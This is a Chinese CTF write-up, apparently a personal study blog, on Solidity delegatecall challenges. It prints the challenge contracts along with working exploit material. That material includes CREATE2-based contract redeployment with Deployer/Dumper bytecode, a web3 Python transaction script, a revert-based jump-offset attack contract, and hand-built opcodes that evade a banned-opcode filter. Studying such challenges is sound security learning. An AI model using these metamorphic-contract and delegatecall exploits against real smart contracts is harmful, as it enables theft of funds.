Delegatecall(2) wiki原理1
RealWorld 2018 Acoraida Monica 合约源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 pragma solidity =0.4 .25 ; contract AcoraidaMonicaGame{ uint256 public version = 4 ; string public description = "Acoraida Monica admires smart guys, she'd like to pay 10000ETH to the one who could answer her question. Would it be you?" ; string public constant sampleQuestion = "Who is Acoraida Monica?" ; string public constant sampleAnswer = "$*!&#^[` a@.3;Ta&*T` R`<`~5Z`^5V You beat me! :D" ; Logger public constant logger=Logger(0x5e351bd4247f0526359fb22078ba725a192872f3 ); address questioner; string public question; bytes32 private answerHash; constructor(bytes a) { assembly{ pc 0xe1 add jump } } modifier onlyHuman{ uint size; address addr = msg.sender; assembly { size := extcodesize(addr) } require(size==0 ); _; } function Start (string _question, string _answer ) public payable { if (answerHash==0 ){ answerHash = keccak256(_answer); question = _question; questioner = msg.sender; } } function NewRound (string _question, bytes32 _answerHash ) public payable { if (msg.sender == questioner && msg.value >= 0.5 ether){ require(_answerHash != keccak256(sampleAnswer)); question = _question; answerHash = _answerHash; logger.AcoraidaMonicaWantsToKnowTheNewQuestion(_question); logger.AcoraidaMonicaWantsToKnowTheNewAnswerHash(_answerHash); } } function TheAnswerIs (string _answer ) onlyHuman public payable { if (answerHash == keccak256(_answer) && msg.value >= 1 ether){ questioner = msg.sender; msg.sender.transfer(address(this ).balance); logger.AcoraidaMonicaWantsToKeepALogOfTheWinner(msg.sender); } } function () payable {} } contract Logger{ event WeHaveAWinner (address ) ; event NewQuestion (string ) ; event NewAnswerHs (bytes32 ) ; function AcoraidaMonicaWantsToKeepALogOfTheWinner (address winner ) public { emit WeHaveAWinner (winner ) ; } function AcoraidaMonicaWantsToKnowTheNewQuestion (string _question ) public { emit NewQuestion (_question ) ; } function AcoraidaMonicaWantsToKnowTheNewAnswerHash (bytes32 _answerHash ) public { emit NewAnswerHs (_answerHash ) ; } }
分析 这个题好像Delegatecall
只是一个小考点,主要考的似乎是JOP攻击。。还没学到那而且网上关于这个题的解析都没咋看到,等学到JOP再来看这题吧。
Balsn 2019 Creativity wp wp2 wp3 wp4 wiki-create2 合约源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pragma solidity ^0.5 .10 ; contract Creativity { event SendFlag(address addr); address public target ; uint randomNumber = 0 ; function check(address _addr) public { uint size ; assembly { size := extcodesize(_addr) } require(size > 0 && size <= 4 ); target = _addr; } function execute() public { require(target target .delegatecall(abi.encodeWithSignature("" )); selfdestruct(address(0 )); } function sendFlag() public payable { require(msg.value >= 100000000 ether); emit SendFlag(msg.sender); } }
分析 题目的源码很简短,最终目的为调用sendFlag
函数,但是限制大于100000000 eth,这很明显不可能。
check
函数可以改变target为我们传入的值,但要求合约代码段小于等于4,4个字节基本上啥也干不了。 如图调用一个最简单的事件不传参也需要六个opcode。
excute
函数这里可以任意调用target 地址合约的内容,所以如果说能够让target变成我们的恶意合约地址就可以调用任意函数了。
所以问题就是需要先绕过check,而这里的做法就是利用create2
这个opcode带来的妙用。
关于create2 官方解释
sodility解释
create2(v, n, p , s):用 mem[p...(p + s)) 中的代码,在地址 keccak256 (<address> . n . keccak256 (mem[p...(p + s))) 上 创建新合约、发送 v wei 并返回新地址
而create2 合约地址的计算如下keccak256 (0xff ++ address ++ salt ++ keccak256 (init_code)) [12:]
salt为自己加盐,和正常的一些加密方式加盐相同含义。 init_code是自己的字节码。 address 是部署合约的地址。
既然有create2那肯定是有create
操作的,这其实就是两种不同的计算合约地址的方式
Create : keccak256 (rlp.encode(deployingAddress, nonce))[12 :]Create2 : keccak256 (0 xff ++ deployingAddr ++ salt ++ keccak256 (bytecode))[12 :]
所以这个操作数最终是用来干嘛的呢,就是创建一个新合约,并且合约地址我们能够控制。所以我们的攻击思路就是
首先部署一个bytecode小于等于4字节的合约,然后用此合约地址调用check,此时一定满足条件,所以target就可以设置为create2创建出来的合约地址
然后销毁create2部署出来的合约,再部署一次合约,这次部署的合约不用再满足check条件bytecode长度随意,因为target已经被设置。而我们需要做到的是让此次create2部署出来的合约地址和第一次部署出来的地址相等。这样就能利用target.delegatecall来调用任意函数了。
很明显我们遇到了两个问题,第一个就是构造小于等于4字节的bytecode,后续能利用这个bytecode让其自毁。第二个需要让两次部署出来的合约地址相同,也就是create2计算方式中的init_code一样即可。
最终攻击合约如下,这个合约很好的解决了上面两个问题
DumpBytecode就是 下面的dumper 合约,当constructor的时候他会读取真正部署的字节码。然后返回去。所以这样就可以满足每次部署的Bytecode相同了。因为你合约本身就已经给constructor了所以return过去之后合约的字节码就是返回的值
0x33ff能够满足自毁条件。0x33本身是用来获取调用者地址,然后将此参数压栈,0xff就是selfdestruct,所以0x33ff就是压栈一个数据作为selfdestruct的参数。然后我们发送一个空交易,合约就会从头开始执行字节码,就可以触发合约自毁了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pragma solidity ^0.5 .10 ; contract Deployer { bytes public deployBytecode; address public deployedAddr; function deploy(bytes memory code) public { deployBytecode = code; address a; bytes memory dumperBytecode = hex'60806040523480 1560 0f57600080 fd5b50600033905060 608173 ffffffffffffffffffffffffffffffffffffffff166331 d19166604051816 3ffffffff1660 e01b81526004016000 60405180830381 8680 3b15801560 5c57600080 fd5b505afa15801560 6f573d600080 3e3d6000 fd5b50505050604051 3d600082 3e3d601f1960 1f82011682018060 40525060208110 15609857600080 fd5b81019080805164 01000000008111 1560 af57600080 fd5b82810190506020 81018481111560 c45760008 0fd5b81518560018202 83011164010000 00008211171560 e05760008 0fd5b50509291905050 50905080516020 8201 f3fe'; assembly { a := create2(callvalue, add(0 x20, dumperBytecode), mload(dumperBytecode), 0 x8866) } deployedAddr = a; } } contract Dumper { constructor() public { Deployer dp = Deployer(msg.sender); bytes memory bytecode = dp.deployBytecode(); assembly { return (add(bytecode, 0 x20), mload(bytecode)) } } }
攻击 先将 Deployer 部署,地址为 0xbB38dB361a9312b93EeEaDaa1566Ac7fc22ACcDF , 然后使用 Deployer.deploy 部署 0x33ff ,得到部署的合约地址 0x97D571A3DBc03B4b7f96a3Ccc5c916871F76d806
利用脚本发送空交易
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from hexbytes import HexBytesfrom web3 import Web3,HTTPProviderdef SendTxn (txn,private_key ): signed_txn = web3.eth.account.signTransaction(txn, private_key=private_key) res = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex () txn_receipt = web3.eth.waitForTransactionReceipt(res) print (res) return txn_receipt account_from = { 'private_key' : 'your key' , 'address' : '0x90641D6c0691829Dd70C39EE10EA44B26ac8C5AE' , } contract_address = Web3.toChecksumAddress("0x97D571A3DBc03B4b7f96a3Ccc5c916871F76d806" ) rpc = "xxxx" web3 = Web3(HTTPProvider(rpc)) acc1 = web3.eth.account.from_key(account_from['private_key' ]) params = { 'nonce' : web3.eth.getTransactionCount(acc1.address), 'value' : web3.toWei(0 ,'ether' ), 'gas' : 3000000 , 'gasPrice' : web3.eth.gasPrice, 'from' : acc1.address, 'to' :contract_address, 'data' : '' } tx_receipt = SendTxn(params,account_from['private_key' ])print (tx_receipt)
查看create2部署的合约,可以看到已经触发自毁。
再次利用create2部署合约,利用如下合约的字节码部署,然后就能利用delegatecall触发emit SendFlag(0)事件了
pragma solidity ^0.5 .10 ; contract test2{ event SendFlag(address addr ) ; constructor() public { emit SendFlag(address (0) ); } }
总结 做这题的时候感觉的到对于合约opcode比较陌生,导致最开始不理解create2到底如何让bytecode相等的,感觉后面需要多逆向合约,熟悉opcode,尝试自己编写字节码。这题还是学到了很多,create2的骚操作,利用opcode自毁合约并且就只用两字节。
第五空间 2020 SafeDelegatecall wp 合约源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 pragma solidity ^0.4 .23 ; contract SafeDelegatecall { address private owner; bytes4 internal constant SET = bytes4(keccak256('fifth(uint256)' )); event SendFlag(address addr); uint randomNumber = 0 ; struct Func { function ( ) internal f ; } constructor ( ) public payable { owner = msg.sender; } modifier onlyOwner { require (msg.sender == owner); _; } function execute (address _target ) public payable { require (_target.delegatecall(abi.encodeWithSelector(this .execute.selector)) == false , 'unsafe execution' ); bytes4 sel; uint val; (sel, val) = getRet(); require (sel == SET); Func memory func; func.f = gift; assembly { mstore(func, sub(mload(func), val)) } func.f(); } function gift ( ) private { payforflag(); } function getRet ( ) internal pure returns (bytes4 sel, uint val ) { assembly { if iszero (eq(returndatasize, 0x24 ) ) { revert(0 , 0 ) } let ptr := mload(0x40 ) returndatacopy(ptr, 0 , 0x24 ) sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000 ) val := mload(add(0x04 , ptr)) } } function payforflag ( ) public payable onlyOwner { require (msg.value == 1 , 'I only need a little money!' ); emit SendFlag(msg.sender); selfdestruct(msg.sender); } function ( ) payable public {} }
合约分析 题目重点在于excute函数
首先对于delegatecall的结果进行限制要求为false,防止外部攻击合约篡改调用者合约环境中的storage数据。
getRet获取到外部合约returndata的两个数据sel和val,sel满足为指定的函数签名
内联汇编计算出mload(func)-val的差值,最后有一个函数跳转,跳转的地址就是这个差值。
所以思路很明显,我们需要跳转到payforflag这里,gift函数用private修饰通过逆向分析可以发现是看不到跳转地址的,而在汇编中payforflag的跳转地址是可以看到的。 mload(func)内存地址如下
payforflag跳转地址为0x03c1
所以最终设置val为0x048a-0x03c1=200
攻击 攻击合约没啥大的区别,最后用revert使delegatecall返回false
pragma solidity ^0.4 .23 ; contract hack { bytes4 internal constant SEL = bytes4(keccak256('fifth(uint256)' )); function execute (address) public payable { bytes4 sel = SEL; assembly { mstore(0 ,sel) mstore(0x4 ,200 ) revert(0 ,0x24 ) } } }
HW-2020-boxgame wp 字节码分析案例
源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 pragma solidity ^0.5 .10 ; contract BoxGame { event ForFlag(address addr); address public target ; constructor(bytes memory a) payable public { assembly { return (add(0 x20, a), mload(a)) } } function check(address _addr) public { uint size ; assembly { size := extcodesize(_addr) } require(size > 0 && size <= 4 ); target = _addr; } function payforflag(address payable _addr) public { require(_addr target .delegatecall(abi.encodeWithSignature("" )); selfdestruct(_addr); } function sendFlag() public payable { require(msg.value >= 1000000000 ether); emit ForFlag(msg.sender); } }
可以看到构造函数中改变了字节码,实际得函数合约是这样得
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0 .5 .10 ;contract BoxGame { event ForFlag (address addr); address public target ; function payforflag (address payable _addr) public { require (_addr != address(0 )); uint256 size ; bytes memory code ; assembly { size := extcodesize(_addr) code := mload(0x40) mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(code, size) extcodecopy(_addr, add(code, 0x20), 0, size) } for (uint256 i = 0 ; i < code.length; i++) { require (code[i] != 0 xf0); require (code[i] != 0 xf1); require (code[i] != 0 xf2); require (code[i] != 0 xf4); require (code[i] != 0 xfa); require (code[i] != 0 xff); } _addr .delegatecall (abi.encodeWithSignature("" )); selfdestruct (_addr); } function sendFlag () public payable { require (msg.value >= 1000000000 ether); emit ForFlag (msg.sender); } }
分析 在实际源码中,我们可以控制外部合约地址并且可以通过delegatecall
来执行外部合约的bytecode。但是能够看到有一些常用的opcode操作码已经被ban了(0xf0 0xf1 0xf2 0xf3 0xf4 0xfa 0xff)无法直接调用函数。而我们的最终目的是执行sendFlag()
中的emit ForFlag(msg.sender);
代码,也就是触发一个事件,所以首先需要先构造opcode来触发这个事件。
利用如下合约我们能够直接调试或者从逆向中获取触发事件的opcode操作码。
pragma solidity ^0.5 .10 ;import "./source.sol" ; contract exp { event ForFlag (address addr) ; function test () public { emit ForFlag (address(this )) ; } }
可以看到这一段就是利用opcode打印事件的过程。
这段opcode还是很容易看懂的。但其实这段opcode可以更精简一点,中间有一些重复的操作也可以去掉。 0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2是ForFlag(address)
的sha3后的hash值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 emit ForFlag(address(this));7F PUSH32 0 x89814845 d4 f005 a4059 f76 ea572 f39 df73 fbe3 d1 c9 b20 f12 b3 b03 d09 f999 b9 e2 30 ADDRESS60 PUSH1 0 x40 51 MLOAD80 DUP1 82 DUP3 73 PUSH20 0 xffffffffffffffffffffffffffffffffffffffff16 AND73 PUSH20 0 xffffffffffffffffffffffffffffffffffffffff16 AND81 DUP2 52 MSTORE60 PUSH1 0 x20 01 ADD91 SWAP2 50 POP50 POP60 PUSH1 0 x40 51 MLOAD80 DUP1 91 SWAP2 03 SUB90 SWAP1 A1 LOG1
但是其中有些字符被ban了所以我们需要手动给转换一下。例如0xff可以用0x11 + 0xee 转换。
转换后的opcode为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 emit ForFlag(address(0 ));7f PUSH 89814845 d4 e005 a4059 f76 ea572 f39 df73 fbe3 d1 c9 b20 e12 b3 b03 d09 f999 b9 e2 7f PUSH 0000000000100000000000000000000000000000000001000000000000000000 01 ADD 60 PUSH 0 x00 60 PUSH1 0 x40 51 MLOAD 80 DUP1 82 DUP3 73 PUSH20 eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73 PSUH20 1111111111111111111111111111111111111111 01 ADD16 AND73 PUSH20 eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73 PUSH20 1111111111111111111111111111111111111111 01 ADD16 AND81 DUP2 52 MSTORE 60 PUSH1 0 x20 01 ADD 91 SWAP2 50 POP50 POP 60 PSUH1 40 51 MLOAD 80 DUP1 91 SWAP2 03 SUB 90 SWAP1 a1 LOG1
最后只留下opcode即为
7 f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e27f0000000000100000000000000000000000000000000001000000000000000000016000604051808273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee731111111111111111111111111111111111111111011673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee7311111111111111111111111111111111111111110116815260200191505060405180910390a1
使用如下合约部署,在deploy中传入我们构造的bytecode即可部署最终的攻击合约。pikachu师傅是直接在bytecode中使用的create2操作符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pragma solidity ^0.5 .10 ; import "./source.sol" ; contract Deployer { bytes public deployBytecode; address public deployedAddr; function deploy(bytes memory code) public { deployBytecode = code; address a; bytes memory dumperBytecode = hex'60806040523480 1560 0f57600080 fd5b50600033905060 608173 ffffffffffffffffffffffffffffffffffffffff166331 d19166604051816 3ffffffff1660 e01b81526004016000 60405180830381 8680 3b15801560 5c57600080 fd5b505afa15801560 6f573d600080 3e3d6000 fd5b50505050604051 3d600082 3e3d601f1960 1f82011682018060 40525060208110 15609857600080 fd5b81019080805164 01000000008111 1560 af57600080 fd5b82810190506020 81018481111560 c45760008 0fd5b81518560018202 83011164010000 00008211171560 e05760008 0fd5b50509291905050 50905080516020 8201 f3fe'; assembly { a := create2(callvalue, add(0 x20, dumperBytecode), mload(dumperBytecode), 0 x8866) } deployedAddr = a; } } contract Dumper { constructor() public { Deployer dp = Deployer(msg.sender); bytes memory bytecode = dp.deployBytecode(); assembly { return (add(bytecode, 0 x20), mload(bytecode)) } } }
攻击 题目合约地址0x1919cE5bfDBfa4e649C04408a2444C2B96AeF4E7
利用上述合约部署攻击合约0xdc2E2CbbE6F892789288C8B9E2fe68dcd989338f
可以看到成功把我们构造好的bytecode部署成了合约
调用payforflag
成功打印事件